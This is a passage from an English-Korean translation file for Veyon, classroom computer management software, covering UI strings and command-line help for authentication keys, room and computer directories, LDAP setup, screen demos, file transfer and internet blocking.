<FILE> is not specified a name will be constructed from name and type of <KEY>. + 이 명려어는 인증키 <KEY> 를 <FILE>에서 읽어 들입니다. 만일 <FILE> 이 지정되지 않으면 <KEY> 의 이름 과 형식을 이용해서 이름이 생성됩니다 . + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + 이 명령어는 설정된 키폴더에 있는 모든 인증키를 리스트해 줍니다. 만일 옵션 "%1"가 지정되면 키 상세 테이블이 대신 표시됩니다. 키가 접근 불가할 경우엔 일부 내용이 누락될 수 있습니다. 즉 e.g. 읽기 권한이 없는 경우등. + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + 이 명령어는 개인키 <KEY> 를 통해서 공개키 파트를 추출하여 개인키에 대한 공개키로 저장합니다. + + + Please specify the command to display help for! + 도움말을 표시할 명령어를 지정하세요 + + + TYPE + TYPE + + + PAIR ID + 페어 ID + + + Command line support for managing authentication keys + 명령어 창에서 인증키 조작 지원 + + + Commands for managing authentication keys + 인증키 조작 명령어들 + + + + AuthKeysTableModel + + Name + 이름 + + + Type + 종류 + + + Access group + 접근 그룹 + + + Pair ID + 페어(짝) ID + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + 컴퓨터 룸과 컴퓨터 + + + Rooms + 교실 + + + Computers + 컴퓨터 + + + Name + 이름 + + + Host address/IP + 호스트주소/IP + + + MAC address + MAC주소 + + + Add new room + 새교실 추가 + + + Remove selected room + 선택된 교실 삭제 + + + Add new computer + 새 컴퓨터 추가 + + + Remove selected computer + 선택된 컴퓨터 삭제 + + + New room + 새 교실 + + + New computer + 새 컴퓨터 + + + Builtin directory + 게시물 폴더 + + + + BuiltinDirectoryPlugin + + Show help for specific command + 특정 명령어에 대한 도움말 보여줌 + + + Add a room or computer + 컴퓨터 교실 추가하기 + + + Clear all rooms and computers + 모든 교실과 컴퓨터 삭제 + + + Dump all or individual rooms and computers + 모든 교실들과 컴퓨터 보여주기 + + + List all rooms and computers + 모든 룸과 컴퓨터를 보여줌 + + + Remove a room or computer + 교실 또는 컴퓨터 삭제 + + + Import objects from given file + 지정된 화일에서 개체 가져오기 + + + Export objects to given file + 지정된 화일로 개체 내보내기 + + + Invalid type specified. Valid values are "%1" or "%2". + 잘못된 형식 지정됨. 유효한 값들은 "%1" 또는 "%2". + + + Type + 종류 + + + Name + 이름 + + + Host address + 호스트 주소 + + + MAC address + MAC주소 + + + Specified object not found. + 해당 개체를 찾을 수 없음 + + + File "%1" does not exist! + 화일 "%1" 이 없음! + + + Can't open file "%1" for reading! + 읽으려는 "%1" 파일을 열수 없음! + + + Unknown argument "%1". + 알수 없는 인자 "%1". + + + Room "%1" + 교실 "%1" + + + Computer "%1" (host address: "%2" MAC address: "%3") + 컴퓨터 "%1" (호스트 주소: "%2" MAC 주소: "%3") + + + Unclassified object "%1" with ID "%2" + 분류되지 않은 개체 "%1" 아이디 "%2" + + + None + 없음 + + + Room + 교실 + + + Computer + 컴퓨터 + + + Root + 루트 + + + Invalid + 무효 + + + Error while parsing line %1. + 라인 %1 을 파싱하는 중 오류. + + + Network object directory which stores objects in local configuration + 로컬 설정에 오브젝트를 저장하고 있는 네트워크 오브젝트 폴더 + + + Builtin (computers and rooms in local configuration) + 내장 (로컬 설정내의 컴퓨터와 교실) + + + Commands for managing the builtin network object directory + 내장 네트워크 오브젝트 폴더를 관리하는 명령어들 + + + No format string or regular expression specified! + 형식 문자열 또는 표현식이 지정되지 않음! + + + Can't open file "%1" for writing! + 쓰기 위한 "%1" 파일을 열수 없음! + + + No format string specified! + 형식 문자열이 지정되지 않음! + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + +사용법 + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +유효한 변수들: %type% %name% %host% %mac% %room% + +예: + +* 모든 오브젝트를 CSV 화일로 내보내기: + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* 룸안의 모든 컴퓨터를 CSV 화일로 내보내기: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + +사용법 + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +TYPE 이 "%2" 또는 "%3" 인 오브젝트를 추가함 . PARENT _부모_는 이름 또는 UUID로 지정할 수 있음. + +예: + +* 룸 추가: + + %1 add room "Room 01" + +* 컴퓨터를 룸이름 "Room 01"로 추가: + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + +사용법 + +%1 remove <OBJECT> + +지정된 오브젝트를 디렉토리에서 제거함. OBJECT_오브젝튼_는 이름 또는 UUID로 지정할 수 있음. 룸을 제거하면 룸안의 모든 컴퓨터들도 제거됨. + +예: + +* 이름으로 컴퓨터 제거하기: + + %1 remove "Computer 01" + +* UUID로 오브젝트를 제거하기: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + Object UUID + Object UUID + + + Parent UUID + 부모 UUID + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + +사용법 + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +유효한 변수들: %type% %name% %host% %mac% %room% + +사용예: + +* 싱글룸에 간단한 CSV 파일을 불러 옴: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +*첫 열에 룸 이름과 CSV 파일을 불러 옴: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* 정규 표현식을 이용하여 키/값과 함께 텍스트 화일을 불러 옴: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* 임의의 형식으로 포맷된 데이타를 불러 옴: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Builtin VNC server (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + Builtin VNC server (x11vnc) + + + + ComputerControlListModel + + Room: %1 + 교실: %1 + + + Host/IP address: %1 + 호스트/IP 주소: %1 + + + Active features: %1 + 활성화된 기능들: %1 + + + Online and connected + 온라인 또는 연결됨 + + + Establishing connection + 연결중 + + + Computer offline or switched off + 컴퓨터는 오프라인 또는 전원 꺼짐 + + + Service unreachable or not running + 서비스에 연결할 수 없거나 실행중이 아님 + + + Authentication failed or access denied + 인증 실패 또는 접근 거부됨 + + + Disconnected + 연결 끊어짐 + + + No user logged on + 로그온된 사용자 없음 + + + Logged on user: %1 + 로그온된 사용자 : %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + %1 서비스 %2 위치 %3:%4 + + + Authentication error + 인증 에러 + + + Remote access + 원격 접근 + + + User "%1" at host "%2" is now accessing this computer. + 호스트 "%2"의 사용자 "%1" 가 이 컴퓨터에 연결합니다. + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + 호스트 "%2"의 사용자 "%1" 가 이 컴퓨터에 연결하려고 하였으나 인증에 성공하지 못했습니다. + + + + ComputerManagementView + + Computer management + 컴퓨터 관리 + + + Add room + 교실 추가 + + + Save computer/user list + 컴퓨터/사용자 리스트 저장 + + + Select output filename + 출력 화일이름 선택 + + + CSV files (*.csv) + CSV files (*.csv) + + + File error + 화일 에러 + + + Could not write the computer and users list to %1! Please check the file access permissions. + 컴퓨터와 사용자 리스트를 %1에 저장하지 못함. 접근 권한을 확인하세요. + + + Computer search + 컴퓨터 검색 + + + + ComputerManager + + User + 사용자 + + + Missing network object directory plugin + 네트워크 개체 디렉토리 플러그인이 없음 + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + 기본 네트워크 개체 폴더 플러그인 없음. 설치 상태를 점검하거나 또는 %1 설정을 이용하여 다른 네트워크 개체 폴더 백엔드를 설정하세요. + + + Computer name;Host name;User + 컴퓨터 이름;호스트 이름;사용자 + + + Room detection failed + 교실 탐색 실패 + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + 이 컴퓨터가 소속된 교실을 찾을 수 없음. 시스템 설정에 문제가 있어 보입니다. 모든 교실을 컴퓨터 관리에 표시합니다. + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + 읽어 올 기존 설정 화일을 선택하세요. + + + Please specify a valid filename for the configuration export. + 설정을 내보낼 유효한 화일 이름을 지정하세요 + + + Please specify a valid key. + 유효한 키를 선택하세요. + + + Specified key does not exist in current configuration! + 현재 설정에 지정된 키가 존재하지 않습니다! + + + Please specify a valid value. + 유효한 값을 지정하세요 + + + Configure Veyon at command line + 명령어 라인에서 Veyon 설정 + + + Output file is not writable! + 출력 화일에 쓸수 없습니다! + + + Output directory is not writable! + 출력 폴더에 저장할 수 없습니다! + + + Configuration file is not readable! + 설정화일을 읽을 수 없습니다! + + + Clear system-wide Veyon configuration + 시스템 상의 Veyon 설정 삭제 + + + List all configuration keys and values + 설정된 모든 키 및 값 출력 + + + Import configuration from given file + 지정된 화일에서 설정 가져오기 + + + Export configuration to given file + 지정된 화일로 설정 내보내기 + + + Read and output configuration value for given key + 해당 키에 대한 설정을 읽고 출력함 + + + Write given value to given configuration key + 입력된 값을 해당 설정 키에 쓰기 + + + Unset (remove) given configuration key + 해당 설정 키를 삭제(선택취소)함 + + + Commands for managing the configuration of Veyon + Veyon 설정 관리 명령어들 + + + Upgrade and save configuration of program and plugins + 프로그램과 플러그인의 설정을 업그레이드하고 저장 + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + %1 서비스에 대한 자동 시작 속성을 수정할 수 없습니다. + + + Could not configure the firewall configuration for the %1 Server. + %1 서버용 방화벽 설정을 변경할 수 없습니다. + + + Could not configure the firewall configuration for the %1 Worker. + %1 워커용 방화벽 설정을 변경할 수 없습니다. + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + SAS 생성 설정을 소프트웨어로 변경할 수 없습니다. 원격제어로 Ctrl+Alt+Del 를 전송할 수 없습니다 ! + + + Configuration is not writable. Please check your permissions! + 설정을 쓸수 없습니다. 권한을 점검하기 바랍니다! + + + + DemoClient + + %1 Demo + %1 데모 + + + + DemoConfigurationPage + + Demo server + 데모 서버 + + + Tunables + 조정할수 있는 항목들 + + + ms + ms + + + Key frame interval + 키 프레임 인터벌 + + + Memory limit + 메모리 한계 + + + Use multithreading (experimental) + 멀티쓰레딩 사용(개발중임) + + + MB + MB + + + Update interval + 갱신 간격 + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + 전체화면 데모 + + + Stop demo + 데모 중지 + + + Window demo + 윈도우 데모 + + + Give a demonstration by screen broadcasting + 화면 전송으로 데모를 보여 줍니다. + + + Demo server + 데모 서버 + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + 이 모드에서 교사의 화면이 모든 컴퓨터에 표시됩니다. +또한 입력장치가 잠기므로 사용자들은 다른 작업을 할 수 없습니다. + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + 이 모드에서는 교사의 화면이 하나의 윈도우 창 으로 모든 컴퓨터에 표시됩니다. 필요할 경우 사용자들은 다른 윈도우 창으로 전환해서 자신의 작업을 계속 할 수 있습니다. + + + + DesktopAccessDialog + + Desktop access dialog + 데스크탑 접근 다이얼로그 + + + Confirm desktop access + 컴퓨터 접속 허가 + + + Never for this session + 이번 세션에서는 허락하지 않음 + + + Always for this session + 이번 세션에서는 항상 허락함 + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + 컴퓨터 %2의 사용자 %1 이 당신의 데스크탑에 접속을 원합니다. 접속을 허가 할까요 ? + + + + DesktopServicesConfigurationPage + + Programs & websites + 프로그램과 웹사이트들 + + + Predefined programs + 미리 지정된 프로그램들 + + + Name + 이름 + + + Path + 경로 + + + Add new program + 새 프로그램 추가 + + + Remove selected program + 선택한 프로그램 삭제 + + + Predefined websites + 미리 지정된 웹사이트들 + + + Remove selected website + 선택한 웹사이트 삭제 + + + URL + URL + + + New program + 새 프로그램 + + + New website + 새 웹사이트 + + + + DesktopServicesFeaturePlugin + + Run program + 프로그램 실행 + + + Open website + 웹사이트 열기 + + + Click this button to open a website on all computers. + 클릭하면 모든 컴퓨터에서 한 웹사이트를 오픈합니다. + + + Please enter the URL of the website to open: + 열어 볼 사이트의 주소 URL 을 입력하세요: + + + Start programs and services in user desktop + 사용자 데스크탑에서 프로그램과 서비스를 시작 + + + Click this button to run a program on all computers. + 클릭하면 모든 컴퓨터에서 프로그램을 실행합니다. + + + Run program "%1" + 프로그램 "%1" 실행 + + + Custom program + 사용자 프로그램 + + + Open website "%1" + 웹사이트 "%1" 열기 + + + Custom website + 사용자 지정 웹사이트 + + + + ExternalVncServer + + External VNC server + 외부 VNC 서버 + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + 외부 VNC 서버 설정 + + + Port: + 포트: + + + Password: + 패스워드: + + + + FeatureControl + + Feature control + 기능제어 + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + 화일 "%1"을 읽을 수 없습니다! 권한을 점검하기 바랍니다! + + + + FileTransferDialog + + File transfer + 화일 전송 + + + Options + 옵션 + + + Transfer only + 전송만 함 + + + Transfer and open file(s) with associated program + 전송한 후 화일과 연결되어 있는 프로그램으로 화일(들) 열기 + + + Transfer and open destination folder + 전송하고 도착 폴더를 열기 + + + Files + 화일 + + + Start + 시작 + + + Overwrite existing files + 기존 화일을 덮어 씀 + + + + FileTransferPlugin + + File transfer + 화일 전송 + + + Click this button to transfer files from your computer to all computers. + 다른 모든 컴퓨터로 화일을 전송하려면 이버튼을 클릭하세요 + + + Select one or more files to transfer + 전송하려는 하나 또는 여러개의 화일을 선택하세요 + + + Transfer files to remote computer + 원격 컴퓨터로 화일 전송 + + + Received file "%1". + 받은 화일 "%1". + + + Could not receive file "%1" as it already exists. + 화일 "%1" 이 이미 존재하므로 덮어 쓸 수 없습니다. + + + Could not receive file "%1" as it could not be opened for writing! + 화일 "%1" 이 쓸수 있도록 열리지 않아 화일을 받을 수 없습니다! + + + + GeneralConfigurationPage + + User interface + 유저 인터페이스 + + + Language: + 언어: + + + Use system language setting + 시스템 언어 설정 사용 + + + Veyon + Veyon + + + Logging + 로깅중 + + + Log file directory + 로그 화일 폴더 + + + ... + ... + + + Log level + 로그 수준 + + + Nothing + 로그 남기지 않음 + + + Only critical messages + 심각한 에러 메시지만 남김 + + + Errors and critical messages + 에러와 심각한 에러 메시지만 남김 + + + Warnings and errors + 경고와 에러 메시지 남김 + + + Information, warnings and errors + 정보, 경고와 에러 메시지 남김 + + + Debug messages and everything else + 디버그 메시지와 기타 모든 메시지 남김 + + + Limit log file size + 로그 파일 최대 크기 + + + Clear all log files + 모든 로그 파일 지우기 + + + Log to standard error output + 표준 에러 출력장치에 기록 + + + Network object directory + 네트워크 개체 폴더 + + + Backend: + 백엔드: + + + Update interval: + 화면업데이트 간격: + + + %1 service + %1 서비스 + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + 로그 화일을 삭제하기 위해 %1 서비스를 잠시 중지합니다. 계속할까요 ? + + + Log files cleared + 로그화일 삭제 + + + All log files were cleared successfully. + 모든 로그화일 삭제 성공. + + + Error + 에러 + + + Could not remove all log files. + 모든 로그화일을 삭제하지 못함 + + + MB + MB + + + Rotate log files + 로그화일 회전 + + + x + x + + + seconds + 초 + + + Write to logging system of operating system + 운영체계의 로깅시스템에 기록 + + + Authentication + 인증 + + + Method: + 방법: + + + Logon authentication + 로그온 인증 + + + Key file authentication + 키 화일 인증 + + + + InternetAccessControlConfigurationPage + + Internet access control + 인터넷 연결 제어 + + + Backend: + 백엔드: + + + General settings + 일반 설정 + + + Backend settings + 백엔드 설정 + + + + InternetAccessControlPlugin + + Block access to the internet + 인터넷 접근 제한 + + + Allow access to the internet + 인터넷 접근 허용 + + + Show help about command + 명령어에 대한 도움말 보여줌 + + + Block internet + 인터넷 연결제한 + + + Click this button to block access to the internet. + 클릭하여 인터넷 접근을 제한 + + + Unblock internet + 인터넷 연결허용 + + + Click this button to allow access to the internet. + 클릭하여 인터넷 접근을 허용 + + + Control access to the internet + 인터넷 접근 제어 + + + Commands for controlling access to the internet + 인터넷 접근 제어용 명령어들 + + + + LdapBrowseDialog + + Browse LDAP + LDAP 찾아보기 + + + + LdapClient + + LDAP error description: %1 + LDAP 에러 설명: %1 + + + No LDAP error description available + LDAP 에러 설명이 없음 + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + 기본 설정 + + + General + 일반사항 + + + LDAP server and port + LDAP 서버 및 포트 + + + Bind DN + DN 결합 + + + Bind password + 패스워드 결합 + + + Anonymous bind + 익명으로 결합 + + + Use bind credentials + 인증서 결합 사용 + + + Test + 테스트 + + + Base DN + 기본 DN + + + Fixed base DN + 고정된 기본 DN + + + e.g. dc=example,dc=org + 예. dc=example,dc=org + + + Discover base DN by naming context + 이름으로 기본 DN 탐색 + + + e.g. namingContexts or defaultNamingContext + 예. namingContexts or defaultNamingContext + + + Environment settings + 환경설정 + + + Object trees + 개체 트리 + + + Computer tree + 컴퓨터 트리 + + + e.g. OU=Groups + 예. OU=Groups + + + User tree + 사용자 트리 + + + e.g. OU=Users + 예. OU=Users + + + e.g. OU=Computers + 예. OU=Computers + + + Group tree + 그룹 트리 + + + Perform recursive search operations in object trees + 개체 트리에서 재귀적 검색작업 수행 + + + Object attributes + 개체 특성 + + + e.g. hwAddress + 예. hwAddress + + + Computer host name attribute + 컴퓨터 호스트 이름 속성 + + + e.g. member or memberUid + 예. member or memberUid + + + User login attribute + 사용자 로긴 속성 + + + e.g. dNSHostName + 예. dNSHostName + + + Computer MAC address attribute + 컴퓨터 MAC 주소 속성 + + + Group member attribute + 그룹멤버 속성 + + + e.g. uid or sAMAccountName + 예. uid or sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + 호스트 이름이 완전히 인증된 도메인 이름으로 저장되었음 (FQDN, 예 myhost.example.org) + + + Advanced settings + 고급 설정 + + + Optional object filters + 선택적 개체필터 + + + Filter for user groups + 유저그룹 필터 + + + Filter for users + 유저필터 + + + Filter for computer groups + 컴퓨터 그룹 필터 + + + Group member identification + 그룹멤버 ID + + + Distinguished name (Samba/AD) + 식별이름 (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + 사용자 로그인 또는 컴픂터 호스트 이름의 설정 속성 (OpenLDAP) + + + List all groups of a user + 모든 유저그룹 표시 + + + List all groups of a computer + 모든 컴퓨터 그룹 표시 + + + Get computer object by IP address + IP주소로 컴퓨터 개체 가져오기 + + + LDAP connection failed + LDAP 연결실패 + + + LDAP bind failed + LDAP 결합실패 + + + LDAP bind successful + LDAP 결합 성공 + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + LDAP 서버 연결및 바인드에 성공했습니다. 기본 LDAP 설정이 올바르게 끝났습니다. + + + LDAP base DN test failed + LDAP 기본 DN 시험 실패 + + + LDAP base DN test successful + LDAP 기본 DN 시험 성공 + + + LDAP naming context test failed + LDAP naming context 시험실패 + + + LDAP naming context test successful + LDAP naming context 시험 성공 + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + LDAP 명칭 내용이 성공적으로 조회되었습니다. 기본 DN 이 발견되었습니다: +%1 + + + user tree + 사용자 트리 + + + group tree + 그룹 트리 + + + computer tree + 컴퓨터 트리 + + + Enter username + 사용자 이름 입력 + + + Please enter a user login name (wildcards allowed) which to query: + 검색할 유저로그인 이름을 입력하세요 (와일드카드 허용됨): + + + user objects + 사용자 개체 + + + user login attribute + 사용자 로그인 속성 + + + Enter group name + 그룹이름 입력 + + + Please enter a group name whose members to query: + 검색할 그룹 이름을 입력하세요: + + + group members + 그룹 멤버 + + + group member attribute + 그룹멤버 속성 + + + Group not found + 그룹 검색되지 않음 + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + 이름 "%1" 그룹 검색되지 않음. 그룹이름 또는 그룹 트리 파라메터를 확인하세요. + + + Enter computer name + 그룹이름 입력 + + + Please enter a computer host name to query: + 검색할 컴퓨터 호스트 이름을 입력하세요: + + + Invalid host name + 잘못된 호스트 이름 + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + 컴퓨터 호스트 이름을 완전히 인증된 도메인 이름으로 저장되도록 설정했으나 도메인(FQDN) 이 입력되지 않았음. + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + 컴퓨터 호스트 이름을 도메인 없는 단순 호스트 이름으로 저장되도록 설정하였으나 호스트 이름에 도메인 이름이 입력되있습니다. + + + computer objects + 컴퓨터 개체 + + + computer host name attribute + 컴퓨터 호스트 이름 및 속성 + + + Enter computer DN + 컴퓨터 DN 입력 + + + Please enter the DN of a computer whose MAC address to query: + MAC 주소를 조회할 컴퓨터의 DN을 입력하세요 + + + computer MAC addresses + 컴퓨터 MAC 주소 + + + computer MAC address attribute + 컴퓨터 MAC 주소 속성 + + + users + 사용자 + + + user groups + 사용자 그룹 + + + computer groups + 컴퓨터 그룹 + + + Please enter a user login name whose group memberships to query: + 그룹 멤버 속성을 검색할 사용자 로그인 이름을 입력하세요 : + + + groups of user + 사용자 그룹 + + + user login attribute or group membership attribute + 사용자 로그인 속성 또는 그룹 멤버 속성 + + + User not found + 사용자 검색되지 않음 + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + 사용자 이름 "%1" 검색되지 않음. 사용자 이름 또는 사용자 트리 파라메터를 확인하세요. + + + Enter host name + 호스트 이름을 입력하세요 + + + Please enter a computer host name whose group memberships to query: + 멤버 속성을 검색할 컴퓨터 호스트 이름을 입력하세요 + + + groups of computer + 컴퓨터 그룹 + + + computer host name attribute or group membership attribute + 컴퓨터 호스트 이름 속성 또는 멤버 속성 + + + Computer not found + 컴퓨터 발견되지 않음 + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + 컴퓨터 "%1" 가 검색되지 않음. 호스트 이름 또는 컴퓨터 트리 파라메터를 확인하세요. + + + Enter computer IP address + IP 주소를 입력하세요 + + + Please enter a computer IP address which to resolve to an computer object: + 컴퓨터 개체로 변환할 컴퓨터 IP 주소를 입력하세요 + + + Host name lookup failed + 호스트이름 검색 실패 + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + IP %1 에 대한 호스트 이름 검색 실패. DNS 서버 설정을 확인하세요 + + + computers + 컴퓨터 + + + LDAP %1 test failed + LDAP %1 시험 실패 + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + 설정된 %1에서 입력 값을 찾지 못함. %1 파라메터를 점검하세요 + +%2 + + + LDAP %1 test successful + LDAP %1 시험 성공 + + + The %1 has been queried successfully and %2 entries were found. + %1 이 성공적으로 조회되고 %2 입력 값이 검색됨 + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + %1을 조회할 수 없음. %2 파라메터를 점검하거나 또는 기존의 개체의 이름을 입력하세요 + +%3 + + + %1 %2 have been queried successfully: + +%3 + %1 %2 가 성공적으로 조회됨 + +%3 + + + LDAP filter test failed + LDAP 필터 시험 실패 + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + 설정된 필터를 사용하여 어떤 %1도 조회할 수 없음. %1에 대한 LDAP 필터를 점검하세요 + +%2 + + + LDAP filter test successful + LDAP 필터 시험 성공 + + + %1 %2 have been queried successfully using the configured filter. + 컴퓨터 필터를 사용한 %1 %2 검색 조회 성공 + + + (only if different from group tree) + (그룹 트리가 다를 경우에만) + + + Computer group tree + 컴퓨터 그룹 트리 + + + computer group tree + 컴퓨터 그룹 트리 + + + Filter for computers + 컴퓨터 필터 + + + e.g. room or computerLab + 예. room or computerLab + + + List all members of a computer room + 컴퓨터 교실의 모든 멤버를 보여줌 + + + List all computer rooms + 모든 컴퓨터 교실을 보여줌 + + + Enter computer room name + 컴퓨터 교실에 입장함 + + + Please enter the name of a computer room (wildcards allowed): + 컴퓨터 교실의 이름을 입력하세요(와일드카드 허용됨): + + + computer rooms + 컴퓨터 교실 + + + computer room attribute + 컴퓨터 교실 속성 + + + Please enter the name of a computer room whose members to query: + 조회할 사용자가 속한 컴퓨터 교실 이름을 넣으세요 + + + computer room members + 컴퓨터 교실 멤버 + + + computer group filter or computer room member aggregation + 컴퓨터 그룹 필터 또는 컴퓨터 교실 멤버 집단 + + + Computer rooms + 컴퓨터 교실 + + + Integration tests + 결합 테스트 + + + Computer room attribute + 컴퓨터교실 속성 + + + Aggregate computers in a room via: + 교실의 컴퓨터를 다음을 사용해 묶음: + + + Computer groups + 컴퓨터 그룹 + + + Computer room attribute in computer objects + 컴퓨터 객체중의 컴퓨터 교실의 속성 + + + Test not applicable + 테스트를 할수 없음 + + + Computer room name attribute + 컴퓨터 교실 이름 속성 + + + e.g. name or description + 예. 이름 또는 설명 + + + Filter for computer containers + 컴퓨터 컨테이너 필터 + + + Computer containers or OUs + 컴퓨터 컨테이너 또는 OU + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + 컴퓨터 컨테이너 또는 컴퓨터그룹의 컴퓨터를 컴퓨터 교실로 사용하려면 컴퓨터교실의 설정을 변경하세요. 그러면 컴퓨터 그룹 또는 컨테이너 객체의 공통명칭 대신 설정된 속성을 조회합니다. 그렇지 않으면 이 속성을 설정할 필요가 없습니다. + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + 컴퓨터 객체의 컴퓨터 켄테이너를 컴퓨터 교실로 사용하려면 아래의 컴퓨터 교실 설정을 변경하세요. 그렇지 않으면 이속성을 설정할 필요가 없습니다. + + + Connection security + 연결 보안 + + + TLS certificate verification + TLS 인증 검증 + + + System defaults + 시스템 디폴트 + + + Never (insecure!) + 거부(보안 안됨) + + + Custom CA certificate file + 사용자 CA 인증 화일 + + + None + 없음 + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + e.g. (objectClass=computer) + + + e.g. (objectClass=group) + e.g. (objectClass=group) + + + e.g. (objectClass=person) + e.g. (objectClass=person) + + + e.g. (objectClass=room) or (objectClass=computerLab) + e.g. (objectClass=room) or (objectClass=computerLab) + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + 설정된 베이스 DN을 찾을 수 없습니다. 베이스 DN 파라메터를 점검하세요. + +%1 + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + LDAP 베이스 DN 조회 성공. 다음 입력항목이 발견되었습니다: +%1 + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + 명칭 내용을 통해 베이스 DN 조회를 할 수 없습니다. 명칭 속성 파라메터를 점검하세요. +%1 + + + Certificate files (*.pem) + 인증화일 (*.pem) + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + LDAP 서버에 연결할 수 없음. 서버 파라메터를 점검하세요. + +%1 + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + LDAP서버와 결합 불가. 결합인자와 서버 파라메터를 점검하세요. + +%1 + + + Encryption protocol + 암호화 프로토콜 + + + + LdapPlugin + + Auto-configure the base DN via naming context + 기본 DN 을 명칭 기반으로 자동 설정함 + + + Query objects from LDAP directory + 개체를 LADP 폴더에서 조회 + + + Show help about command + 명령어에 대한 도움말 보여줌 + + + Commands for configuring and testing LDAP/AD integration + LDAP/AD 통합을 설정하거나 제어하는 명령어 + + + Provide LDAP/AD integration for Veyon + Veyon용 LDAP/AD  결합을 제공 + + + LDAP (load computers and rooms from LDAP/AD) + LDAP (LDAP/AD에서 컴퓨터와 교실을 가져옴) + + + LDAP (load users and groups from LDAP/AD) + LDAP (LDAP/AD에서 사용자와 그룹을 가져옴) + + + + LicensingConfigurationPage + + Licensing + Licensing + + + Installed licenses + 설치된 라이센스 + + + Add new network range + 새로운 네트워크 범위 추가 + + + Remove selected network range + 선택된 네트워크 범위 삭제 + + + ID + 